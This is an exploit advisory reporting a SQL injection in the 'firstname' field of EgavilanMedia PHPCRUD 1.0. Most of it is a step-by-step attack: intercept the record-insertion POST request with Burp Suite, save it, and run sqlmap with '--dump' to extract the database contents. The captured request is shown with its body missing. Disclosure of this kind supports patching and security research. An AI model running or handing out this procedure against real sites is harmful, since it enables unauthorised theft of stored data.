Authored by Dimitrios Mitakos

EgavilanMedia PHPCRUD version 1.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection
# Date: 5/17/2021
# Exploit Author: Dimitrios Mitakos
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Debian GNU/Linux 10

Vulnerable Parameter : firstname

1. Burp Suite -> Intercept is on

2. Go to the Website -> Add New Record

3. Back to Burp Suite -> Copy to file (r.txt)

POST /insert.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http:// <>x.x.x.x
Connection: close
Referer: http://x.x.x.x/index.php
Upgrade-Insecure-Requests: 1


4. sqlmap -r r.txt --dump